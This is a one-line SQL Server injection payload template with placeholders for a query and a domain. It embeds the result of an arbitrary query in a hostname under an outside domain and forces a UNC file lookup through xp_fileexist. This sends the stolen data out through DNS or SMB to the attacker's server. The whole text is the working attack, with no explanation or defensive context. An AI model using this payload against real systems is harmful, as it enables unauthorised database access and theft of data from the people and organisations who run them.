DECLARE @host varchar(1024); SELECT @host = (%QUERY%) + '.%DOMAIN%'; EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');